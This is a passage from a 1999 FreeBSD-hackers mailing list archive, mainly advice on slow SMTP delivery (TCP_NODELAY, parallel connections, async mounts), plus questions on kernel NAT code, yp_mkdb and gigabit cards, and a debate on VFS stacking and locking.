daemon process that is reading from > >the FIFO. This process then connects to port 25 of the destination system and > >delivers the mail via SMTP. Currently the destination system is the local > >system so everything is done on one machine. > > > >Using HPUX we typically pass 5 messages a second. This system is a dual > >180Mhz K class server so this is surprisingly low performance for this system. > > > >When testing on FreeBSD 3.1 we also got 5 messages a second. This system is a > >500Mhz P3, this is also unacceptable performance. > > > >When we tested with Linux (kernel 2.2.5) we passed 15 messages a second > >consistently using the exact same P3 described above. > > > >Since the HPUX and FreeBSD numbers are so close I am wondering there is some > >performance tuning that I do not know about. Do you think the number might > >change if multiple hosts were used? > > > >The daemon that reads from the FIFO makes only one connection to the local > >Sendmail to deliver multiple messages in sequence. > > > > > >I REALLY want to use FreeBSD over Linux on this one and need some major help > >to get the performance out of FreeBSD. > > Are you setting the TCP_NODELAY socket option on the SMTP connection? If > not, then please do that and let me know if it fixes the problem or not. > > -DG > > David Greenman > Co-founder/Principal Architect, The FreeBSD Project - http://www.freebsd.org > Creator of high-performance Internet servers - http://www.terasolutions.com > Pave the road of life with opportunities. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 21:42:25 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mx2.itb.ac.id (mx2.itb.ac.id [202.249.47.37]) by hub.freebsd.org (Postfix) with SMTP id 4975914C97 for ; Mon, 23 Aug 1999 21:42:14 -0700 (PDT) (envelope-from kadal@elka.ee.itb.ac.id) Received: (qmail 11888 invoked by uid 1003); 24 Aug 1999 04:42:18 -0000 Received: from ai3-indonesia-ether.itb.ac.id (HELO mx.ee.itb.ac.id) (202.249.47.35) by mx2.itb.ac.id with SMTP; 24 Aug 1999 04:42:18 -0000 Received: (qmail 8960 invoked from network); 24 Aug 1999 04:42:06 -0000 Received: from elka.ee.itb.ac.id (qmailr@167.205.48.219) by mx.ee.itb.ac.id with SMTP; 24 Aug 1999 04:42:06 -0000 Received: (qmail 28811 invoked by uid 1011); 24 Aug 1999 04:42:05 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 24 Aug 1999 04:42:05 -0000 Date: Tue, 24 Aug 1999 11:42:05 +0700 (JAVT) From: kadal Reply-To: kadal To: Wayne Cuddy Cc: FreeBSD Hackers List Subject: Re: network performance vs. linux on small transfers Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 24 Aug 1999, Wayne Cuddy wrote: > Date: Tue, 24 Aug 1999 00:38:21 -0400 (EDT) > From: Wayne Cuddy > To: FreeBSD Hackers List > Subject: network performance vs. linux on small transfers > > I am involved in a messaging system at work in which we need to send/receive > large amounts of small (one line messages) SMTP messages. We are currently using Sendmail 8.9.3 > on HPUX. > > Our application sends messages down a FIFO to a daemon process that is reading from > the FIFO. This process then connects to port 25 of the destination system and > delivers the mail via SMTP. Currently the destination system is the local > system so everything is done on one machine. > > Using HPUX we typically pass 5 messages a second. This system is a dual > 180Mhz K class server so this is surprisingly low performance for this system. > > When testing on FreeBSD 3.1 we also got 5 messages a second. This system is a > 500Mhz P3, this is also unacceptable performance. > > When we tested with Linux (kernel 2.2.5) we passed 15 messages a second > consistently using the exact same P3 described above. > > Since the HPUX and FreeBSD numbers are so close I am wondering there is some > performance tuning that I do not know about. Do you think the number might > change if multiple hosts were used? > > The daemon that reads from the FIFO makes only one connection to the local > Sendmail to deliver multiple messages in sequence. do you really have to deliver the messages sequentially ? SMTP conversation is rather slow, especially for small messages. you may want to try to deliver them simultaneously, by creating multiple SMTP conversations. you may also try other MTA such as qmail, postfix, etc. > I REALLY want to use FreeBSD over Linux on this one and need some major help > to get the performance out of FreeBSD. how about profiling your program / system ? try to find where it spends most time. it could be forking, disk I/O, SMTP conversation, etc. I strongly suspect that it's SMTP conversation, but can't really sure before you mesure it. -k- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 22: 8:14 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from demai02.mw.mediaone.net (demai02.mw.mediaone.net [24.131.1.20]) by hub.freebsd.org (Postfix) with ESMTP id 073221502B for ; Mon, 23 Aug 1999 22:08:10 -0700 (PDT) (envelope-from mtaylor@cybernet.com) Received: from cybernet.com (nic-c13-093.mw.mediaone.net [24.131.13.93]) by demai02.mw.mediaone.net (8.8.7/8.8.7) with ESMTP id BAA03290; Tue, 24 Aug 1999 01:04:51 -0400 (EDT) Message-ID: <37C228B2.ECF2878E@cybernet.com> Date: Tue, 24 Aug 1999 01:08:02 -0400 From: "Mark J. Taylor" Organization: Cybernet Systems Corp. X-Mailer: Mozilla 4.05 [en] (Win95; U) MIME-Version: 1.0 To: wayne@crb-web.com Cc: hackers@freebsd.org Subject: Re: several messages References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG As an (former) implementer of fast TCP/IP peer-peer communications, I'd have to agree with Dave, and say that it is definitely the TCP_NODELAY option. You'll find that disabling the TCP-ACK delay will greatly increase your performace. The reason that it is so "slow" is because the TCP/IP stack is trying to wait to send a TCP "ACK" piggy-backed with data that you MAY BE SENDING SOON. So it waits for 1/5 of a second for you to send SOMETHING, then shrugs its shoulders when you don't, and sends the TCP ACK without further delay. This is a "standard" that most TCP/IP stacks implement. You'll find the same "problem" under Windows. In fact, when I was doing the peer-peer communications, from a Unix to a Windows '95 machine (and NT), the TCP_NODELAY was not yet implemented in the WinSock library. The workaround was to send garbage back as fast as possible, so the ACK could piggy-back itself on SOMETHING. You may want to set the transmit and recieve low-water marks as well. Look at the man page for "setsockopt". -Mark Taylor NetMAX Developer mtaylor@cybernet.com http://www.netmax.com/ Wayne Cuddy wrote: > > Thank you for your reply. At what point should I set this socket option? I > am assuming right after the socket is allocated?? > > I will try this and post my results tomorrow night. > > For those wondering, I cannot just execute Sendmail directly, there are many > architectural reasons for this design... > > Thanks again, > > Wayne > > On Tue, 24 Aug 1999, Daniel O'Connor wrote: > > > Date: Tue, 24 Aug 1999 13:41:37 +0930 (CST) > > From: Daniel O'Connor > > To: Wayne Cuddy > > Cc: FreeBSD Hackers List > > Subject: RE: network performance vs. linux on small transfers > > > > > > On 24-Aug-99 Wayne Cuddy wrote: > > > I REALLY want to use FreeBSD over Linux on this one and need some major help > > > to get the performance out of FreeBSD. > > > > Tried setsockopt and TCP_NODELAY? > > > > >From netinet/tcp.h > > #define TCP_NODELAY 0x01 /* don't delay send to coalesce packets */ > > > > --- > > Daniel O'Connor software and network engineer > > for Genesis Software - http://www.gsoft.com.au > > "The nice thing about standards is that there > > are so many of them to choose from." > > -- Andrew Tanenbaum > > > > On Mon, 23 Aug 1999, David Greenman wrote: > > > Date: Mon, 23 Aug 1999 21:17:06 -0700 > > From: David Greenman > > To: wayne@crb-web.com > > Cc: FreeBSD Hackers List > > Subject: Re: network performance vs. linux on small transfers > > > > >I am involved in a messaging system at work in which we need to send/receive > > >large amounts of small (one line messages) SMTP messages. We are currently using Sendmail 8.9.3 > > >on HPUX. > > > > > >Our application sends messages down a FIFO to a daemon process that is reading from > > >the FIFO. This process then connects to port 25 of the destination system and > > >delivers the mail via SMTP. Currently the destination system is the local > > >system so everything is done on one machine. > > > > > >Using HPUX we typically pass 5 messages a second. This system is a dual > > >180Mhz K class server so this is surprisingly low performance for this system. > > > > > >When testing on FreeBSD 3.1 we also got 5 messages a second. This system is a > > >500Mhz P3, this is also unacceptable performance. > > > > > >When we tested with Linux (kernel 2.2.5) we passed 15 messages a second > > >consistently using the exact same P3 described above. > > > > > >Since the HPUX and FreeBSD numbers are so close I am wondering there is some > > >performance tuning that I do not know about. Do you think the number might > > >change if multiple hosts were used? > > > > > >The daemon that reads from the FIFO makes only one connection to the local > > >Sendmail to deliver multiple messages in sequence. > > > > > > > > >I REALLY want to use FreeBSD over Linux on this one and need some major help > > >to get the performance out of FreeBSD. > > > > Are you setting the TCP_NODELAY socket option on the SMTP connection? If > > not, then please do that and let me know if it fixes the problem or not. > > > > -DG > > > > David Greenman > > Co-founder/Principal Architect, The FreeBSD Project - http://www.freebsd.org > > Creator of high-performance Internet servers - http://www.terasolutions.com > > Pave the road of life with opportunities. > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 22:36:16 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from cygnus.rush.net (cygnus.rush.net [209.45.245.133]) by hub.freebsd.org (Postfix) with ESMTP id 35C7315048 for ; Mon, 23 Aug 1999 22:36:07 -0700 (PDT) (envelope-from bright@rush.net) Received: from localhost (bright@localhost) by cygnus.rush.net (8.9.3/8.9.3) with SMTP id BAA10870; Tue, 24 Aug 1999 01:35:48 -0400 (EDT) Date: Tue, 24 Aug 1999 01:35:44 -0400 (EDT) From: Alfred Perlstein To: kadal Cc: Wayne Cuddy , FreeBSD Hackers List Subject: Re: network performance vs. linux on small transfers In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 24 Aug 1999, kadal wrote: > > > > On Tue, 24 Aug 1999, Wayne Cuddy wrote: > > > Date: Tue, 24 Aug 1999 00:38:21 -0400 (EDT) > > From: Wayne Cuddy > > To: FreeBSD Hackers List > > Subject: network performance vs. linux on small transfers > > > > I am involved in a messaging system at work in which we need to send/receive > > large amounts of small (one line messages) SMTP messages. We are currently using Sendmail 8.9.3 > > on HPUX. > > > > Our application sends messages down a FIFO to a daemon process that is reading from > > the FIFO. This process then connects to port 25 of the destination system and > > delivers the mail via SMTP. Currently the destination system is the local > > system so everything is done on one machine. > > > > Using HPUX we typically pass 5 messages a second. This system is a dual > > 180Mhz K class server so this is surprisingly low performance for this system. > > > > When testing on FreeBSD 3.1 we also got 5 messages a second. This system is a > > 500Mhz P3, this is also unacceptable performance. > > > > When we tested with Linux (kernel 2.2.5) we passed 15 messages a second > > consistently using the exact same P3 described above. > > > > Since the HPUX and FreeBSD numbers are so close I am wondering there is some > > performance tuning that I do not know about. Do you think the number might > > change if multiple hosts were used? > > > > The daemon that reads from the FIFO makes only one connection to the local > > Sendmail to deliver multiple messages in sequence. > > do you really have to deliver the messages sequentially ? SMTP > conversation is rather slow, especially for small messages. > > you may want to try to deliver them simultaneously, by creating multiple > SMTP conversations. > > you may also try other MTA such as qmail, postfix, etc. > > > I REALLY want to use FreeBSD over Linux on this one and need some major help > > to get the performance out of FreeBSD. > > how about profiling your program / system ? try to find where it spends > most time. it could be forking, disk I/O, SMTP conversation, etc. I > strongly suspect that it's SMTP conversation, but can't really sure before > you mesure it. Wild guess, the creation of spool files syncronously is killing performance you may give freebsd a signifigant boost by either: mount -o async -u /var (spool partition) or enabling softupdates, check out: /usr/src/sys/contrib/softupdates/README.softupdates. please tell me how it goes. good luck, -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 22:46:56 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from metriclient-1.uoregon.edu (metriclient-1.uoregon.edu [128.223.172.1]) by hub.freebsd.org (Postfix) with ESMTP id 5C0C814BED for ; Mon, 23 Aug 1999 22:46:48 -0700 (PDT) (envelope-from gurney_j@efn.org) Received: (from jmg@localhost) by metriclient-1.uoregon.edu (8.9.1/8.8.7) id WAA19105; Mon, 23 Aug 1999 22:45:34 -0700 (PDT) Message-ID: <19990823224534.16647@hydrogen.fircrest.net> Date: Mon, 23 Aug 1999 22:45:34 -0700 From: John-Mark Gurney To: wayne@crb-web.com Cc: FreeBSD Hackers List Subject: Re: several messages References: <199908240417.VAA13153@implode.root.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: ; from Wayne Cuddy on Tue, Aug 24, 1999 at 01:17:06AM -0400 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 3.0-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Wayne Cuddy scribbled this message on Aug 24: > Thank you for your reply. At what point should I set this socket option? I > am assuming right after the socket is allocated?? > > I will try this and post my results tomorrow night. > > For those wondering, I cannot just execute Sendmail directly, there are many > architectural reasons for this design... sounds like you need to fork upon recieption of the message and send the message in a child process... don't forget to reap your children though... you don't want a lot of zombies laying around... if you do this, you really don't need to set the TCP_NODELAY option.. but you might want to anyways... -- John-Mark Gurney Voice: +1 541 684 8449 Cu Networking P.O. Box 5693, 97405 "The soul contains in itself the event that shall presently befall it. The event is only the actualizing of its thought." -- Ralph Waldo Emerson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23: 1:22 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (Postfix) with ESMTP id 5C0B014F69 for ; Mon, 23 Aug 1999 23:01:19 -0700 (PDT) (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.9.3/frmug-2.5/nospam) with UUCP id IAA29002 for freebsd-hackers@FreeBSD.ORG; Tue, 24 Aug 1999 08:01:18 +0200 (CEST) (envelope-from roberto@keltia.freenix.fr) Received: by keltia.freenix.fr (Postfix, from userid 101) id 910FF870A; Tue, 24 Aug 1999 08:00:51 +0200 (CEST) Date: Tue, 24 Aug 1999 08:00:51 +0200 From: Ollivier Robert To: FreeBSD Hackers List Subject: Re: network performance vs. linux on small transfers Message-ID: <19990824080051.A30116@keltia.freenix.fr> Mail-Followup-To: FreeBSD Hackers List References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/0.95.5i In-Reply-To: ; from kadal on Tue, Aug 24, 1999 at 11:42:05AM +0700 X-Operating-System: FreeBSD 4.0-CURRENT/ELF ctm#5543 AMD-K6 MMX @ 200 MHz Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG According to kadal: > you may also try other MTA such as qmail, postfix, etc. Postfix (and qmail I think) support SMTP PIPELINING, which greatly reduce latency. It is very interesting for small messages. -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 4.0-CURRENT #73: Sat Jul 31 15:36:05 CEST 1999 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:28:40 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from giasbm01.vsnl.net.in (giasbm01.vsnl.net.in [202.54.1.18]) by hub.freebsd.org (Postfix) with ESMTP id BEC4D14EBE; Mon, 23 Aug 1999 23:28:09 -0700 (PDT) (envelope-from rhtiwari@cygsoft.com) Received: from surya.vyom.com (IDENT:root@[202.54.125.22]) by giasbm01.vsnl.net.in (8.9.2/8.9.2) with ESMTP id LAA28872; Tue, 24 Aug 1999 11:57:46 +0530 (IST) Received: from ratnakar (ratna [10.1.1.62]) by surya.vyom.com (8.8.7/8.6.12) with SMTP id RAA15599; Mon, 23 Aug 1999 17:01:22 +0300 Message-ID: <003001beed5a$dffd1fa0$3e01010a@ratnakar> From: "Ratnakar Tiwari" To: , , Subject: Unable to locate function body: ip_nat_init() Date: Mon, 23 Aug 1999 17:00:16 +0530 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_002D_01BEED88.F98AA220" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_002D_01BEED88.F98AA220 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, I am going through the networking code for the stable release. In the file ip_input.c there is a call to a function ip_nat_init() in = the function ip_init(). However I have been unable to locate the code for this = function (ip_nat_init()). Could somebody please tell me in which file is this function defined? Also in the file ip_input.c a function pointer ip_nat_ptr is = dereferenced in the function ip_input.c However I could not locate where this function pointer is being = initialized. Could somebody please tell me where this pointer is being initialized? Thanks in advance. Ratnakarprasad Tiwari ------=_NextPart_000_002D_01BEED88.F98AA220 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi,
  I am going through the = networking code=20 for the stable release.
  In the file ip_input.c  = there is a=20 call to a function ip_nat_init() in the function
  ip_init(). However I have = been unable to=20 locate the code for this function (ip_nat_init()).
 
  Could somebody please tell me = in which=20 file is this function defined?
 
 
  Also in the file ip_input.c a = function=20 pointer ip_nat_ptr is dereferenced in the function = ip_input.c
  However I could not locate = where this=20 function pointer is being initialized. Could somebody = please
  tell me where this pointer is being=20 initialized?
 
Thanks in advance.
Ratnakarprasad Tiwari
------=_NextPart_000_002D_01BEED88.F98AA220-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:28:46 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gilliam.users.flyingcroc.net (gilliam.users.flyingcroc.net [207.246.128.2]) by hub.freebsd.org (Postfix) with ESMTP id 024D615134; Mon, 23 Aug 1999 23:28:26 -0700 (PDT) (envelope-from ross@gilliam.users.flyingcroc.net) Received: (from ross@localhost) by gilliam.users.flyingcroc.net (8.9.3/8.9.3) id XAA04552; Mon, 23 Aug 1999 23:28:07 -0700 (PDT) Date: Wed, 18 Aug 1999 11:07:25 -0700 (PDT) Message-Id: <199908240628.XAA04552@gilliam.users.flyingcroc.net> To: Bill Studenmund Cc: Terry Lambert , Hackers@FreeBSD.ORG, fs@FreeBSD.ORG Subject: Re: BSD XFS Port & BSD VFS Rewrite From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message , Bill Studenmund writes: >> >I doubt we need more than 64 bit times. 2^63 seconds works out to >> >292,279,025,208 years, or 292 (american) billion years. Current theories >> >put the age of the universe at I think 12 to 16 billion years. So 64-bit >> >signed times in seconds will cover from before the big bang to way past >> >any time we'll be caring about. :-) > >I was unclear. I was refering to the seconds side of things. Sub-second >resolution would need other bits. Yes, but we need subsecond in the filesystems. Think about make(1) on a blinding fast machine... -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:28:52 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gilliam.users.flyingcroc.net (gilliam.users.flyingcroc.net [207.246.128.2]) by hub.freebsd.org (Postfix) with ESMTP id C9330150CF; Mon, 23 Aug 1999 23:28:25 -0700 (PDT) (envelope-from ross@gilliam.users.flyingcroc.net) Received: (from ross@localhost) by gilliam.users.flyingcroc.net (8.9.3/8.9.3) id XAA04603; Mon, 23 Aug 1999 23:28:10 -0700 (PDT) Date: Wed, 18 Aug 1999 11:23:56 -0700 (PDT) Message-Id: <199908240628.XAA04603@gilliam.users.flyingcroc.net> To: Julian Elischer Cc: Bill Studenmund , Terry Lambert , Alton Matthew , Hackers@FreeBSD.ORG, fs@FreeBSD.ORG Subject: Re: BSD XFS Port & BSD VFS Rewrite From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message , Julian Elischer writes: >On Wed, 18 Aug 1999, Poul-Henning Kamp wrote: > >> Matt doesn't represent the FreeBSD project, and even if he rewrites >> the VFS subsystem so he can understand it, his rewrite would face >> considerable resistance on its way into FreeBSD. I don't think >> there is reason to rewrite it, but there certainly are areas >> that need fixing. > >You are misinformed as far as I know.. From discussions I saw, th >main architect of a VFS rewrite would be Kirk, and Matt would be acting as >Kirk's right-hand-man. I bet that Matt and Kirk uses "rewrite" for two very different concepts. The resulting reviews will be equally different. >> >> The use of the "vfs_default" to make unimplemented VOP's >> >> fall through to code which implements function, while well >> >> intentioned, is misguided. >> >> I beg to differ. The only difference is that we pass through >> multiple layers before we hit the bottom of the stack. There is >> no loss of functionality but significant gain of clarity and >> modularity. > >Well I believe that Kirk considers them misguided too, but he stated that >he wasn't going to remove them without serious thought about the alternatives. I'll be more than ready to discuss this with Kirk. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:29:37 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gilliam.users.flyingcroc.net (gilliam.users.flyingcroc.net [207.246.128.2]) by hub.freebsd.org (Postfix) with ESMTP id E1C4C15953 for ; Mon, 23 Aug 1999 23:29:15 -0700 (PDT) (envelope-from ross@gilliam.users.flyingcroc.net) Received: (from ross@localhost) by gilliam.users.flyingcroc.net (8.9.3/8.9.3) id XAA04761; Mon, 23 Aug 1999 23:28:20 -0700 (PDT) Date: Wed, 18 Aug 1999 12:19:04 -0700 (PDT) Message-Id: <199908240628.XAA04761@gilliam.users.flyingcroc.net> From: Kris Kennaway To: Marc Ramirez Cc: Bill Sommerfeld , freebsd-hackers@FreeBSD.ORG Subject: Re: Need some advice regarding portable user IDs Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 18 Aug 1999, Marc Ramirez wrote: > Oh! I was under the impression that it just didn't work, even with > correct perms, but I use FreeBSD. Lemme try it... Can't mount, even > with 0666 on /dev/fd0. Maybe I'm being stupid. Wouldn't be the first > time! It's controlled by a sysctl in FreeBSD which defaults to "off" - I forget what it is called. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:29:44 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gilliam.users.flyingcroc.net (gilliam.users.flyingcroc.net [207.246.128.2]) by hub.freebsd.org (Postfix) with ESMTP id 615BF1596E; Mon, 23 Aug 1999 23:29:14 -0700 (PDT) (envelope-from ross@gilliam.users.flyingcroc.net) Received: (from ross@localhost) by gilliam.users.flyingcroc.net (8.9.3/8.9.3) id XAA04893; Mon, 23 Aug 1999 23:28:30 -0700 (PDT) Date: Wed, 18 Aug 1999 13:25:53 -0700 (PDT) Message-Id: <199908240628.XAA04893@gilliam.users.flyingcroc.net> From: "Nathaniel Schein" To: "Owner-Freebsd-Questions" Cc: Subject: yp_mkdb Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am in the process of upgrading a NIS master using version 2.1.0 to version 3.2. The 'Makefile' has been customized to include automount maps for our IRIX machines as was the 'Makefile' in the old NIS Master. The problem is that for some reason the program 'yp_mkdb' in 3.2 is much more picky. It does not tolerate lines as such: nschein -rw,intr nister:/usr/home:& It complains when it encounters the '-' if removed it works fine. Also it has problems with the '+' and absence of a whitespace following the first ASCI string in the following line: +auto.home What has changed in yp_mkdb? Is there a way to escape certain symbols? I have already tried \ '' "". Or is there another way to make the database file? Nathaniel Schein To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:29:54 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gilliam.users.flyingcroc.net (gilliam.users.flyingcroc.net [207.246.128.2]) by hub.freebsd.org (Postfix) with ESMTP id 06E691588E for ; Mon, 23 Aug 1999 23:29:12 -0700 (PDT) (envelope-from ross@gilliam.users.flyingcroc.net) Received: (from ross@localhost) by gilliam.users.flyingcroc.net (8.9.3/8.9.3) id XAA04845; Mon, 23 Aug 1999 23:28:28 -0700 (PDT) Date: Wed, 18 Aug 1999 12:57:35 -0700 (PDT) Message-Id: <199908240628.XAA04845@gilliam.users.flyingcroc.net> From: David Miller To: freebsd-hackers@FreeBSD.ORG Subject: Gigabit ethernet support? Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Any supported cards in 3.2.x? The HCL pages don't list any:( Thanks, --- David To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 23:30: 3 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gilliam.users.flyingcroc.net (gilliam.users.flyingcroc.net [207.246.128.2]) by hub.freebsd.org (Postfix) with ESMTP id 1B31215193; Mon, 23 Aug 1999 23:28:27 -0700 (PDT) (envelope-from ross@gilliam.users.flyingcroc.net) Received: (from ross@localhost) by gilliam.users.flyingcroc.net (8.9.3/8.9.3) id XAA04619; Mon, 23 Aug 1999 23:28:11 -0700 (PDT) Date: Wed, 18 Aug 1999 11:33:43 -0700 (PDT) Message-Id: <199908240628.XAA04619@gilliam.users.flyingcroc.net> From: Terry Lambert Subject: Re: BSD XFS Port & BSD VFS Rewrite To: wrstuden@nas.nasa.gov Cc: tlambert@primenet.com, Hackers@FreeBSD.ORG, fs@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > > > > > 2. Advisory locks are hung off private backing objects. > > > I'm not sure. The struct lock * is only used by layered filesystems, so > > > they can keep track both of the underlying vnode lock, and if needed their > > > own vnode lock. For advisory locks, would we want to keep track both of > > > locks on our layer and the layer below? Don't we want either one or the > > > other? i.e. layers bypass to the one below, or deal with it all > > > themselves. > > > > I think you want the lock on the intermediate layer: basically, on > > every vnode that has data associated with it that is unique to a > > layer. Let's not forget, also, that you can expose a layer into > > the namespace in one place, and expose it covered under another > > layer, at another. If you locked down to the backing object, then > > the only issue you would be left with is one or more intermediate > > backing objects. > > Right. That exported struct lock * makes locking down to the lowest-level > file easy - you just feed it to the lock manager, and you're locking the > same lock the lowest level fs uses. You then lock all vnodes stacked over > this one at the same time. Otherwise, you just call VOP_LOCK below and > then lock yourself. I think this defeats the purpose of the stacking architecture; I think that if you look at an unadulterated NULLFS, you'll see what I mean. Intermediate FS's should not trap VOP's that are not applicable to them. One of the purposes of doing a VOP_LOCK on intermediate vnodes that aren't backing objects is to deal with the global vnode pool management. I'd really like FS's to own their vnode pools, but even without that, you don't need the locking, since you only need to flush data on vnodes that are backing objects. If we look at a stack of FS's with intermediate exposure into the namespace, then it's clear that the issue is really only applicable to objects that act as a backing store: ---------------------- ---------------------- -------------------- FS Exposed in hierarchy Backing object ---------------------- ---------------------- -------------------- top yes no intermediate_1 no no intermediate_2 no yes intermediate_3 yes no bottom no yes ---------------------- ---------------------- -------------------- So when we lock "top", we only lock in intermediate_2 and in bottom. Then we attempt to lock in intermediate_3, but it fails: not because there is a lock on the vnode in intermediate_3, but because there is a lock in bottom. It's unnecessary to lock the vnodes in the intermediate path, or even at the exposure level, unless they are vnodes that have an associated backing store. The need to lock in intermediate_2 exists because it is a translation layer or a namespace escape. It deals with compression, or it deals with file-as-a-directory folding, or it deals with file-hiding (perhaps for a quoata file), etc.. If it didn't, it wouldn't need backing store (and therefore wouldn't need to be locked). > > For a layer with an intermediate backing object, I'm prepared to > > declare it "special", and proxy the operation down to any inferior > > backing object (e.g. a union FS that adds files from two FS's > > together, rather than just directoriy entry lists). I think such > > layers are the exception, not the rule. > > Actually isn't the only problem when you have vnode fan-in (union FS)? > i.e. a plain compressing layer should not introduce vnode locking > problems. If it's a block compression layer, it will. Also a translation layer; consider a pure Unicode system that wants to remotely mount an FS from a legacy system. To do this, it needs to expand the pages from the legacy system [only it can, since the legacy system doesn't know about Unicode] in a 2:1 ratio. Now consider doing a byte-range lock on a file on such a system. To propogate the lock, you have to do an arithmetic conversion at the translation layer. This gets worse if the lower end FS is exposed in the namespace as well. You could make the same arguments for other types of translation or namespace escapes. > > I think that export policies are the realm of /etc/exports. > > > > The problem with each FS implementing its own policy, is that this > > is another place that copyinstr() gets called, when it shouldn't. > > Well, my thought was that, like with current code, most every fs would > just call vfs_export() when it's presented an export operation. But by > retaining the option of having the fs do its own thing, we can support > different export semantics if desired. I think this bears down on whether the NFS server VFS consumer is allowed access to the VFS stack at the particular intermediate layer. I think this is really an administrative policy decision, and not an option for the VFS. I think it would be bad if a given VFS could refuse to participate in a stacking operation because it didn't like who was stacking. If we insist on the ability for a VFS to refused stacking, then we should generalize the idea, such that an intermediate VFS could refuse exposure into the 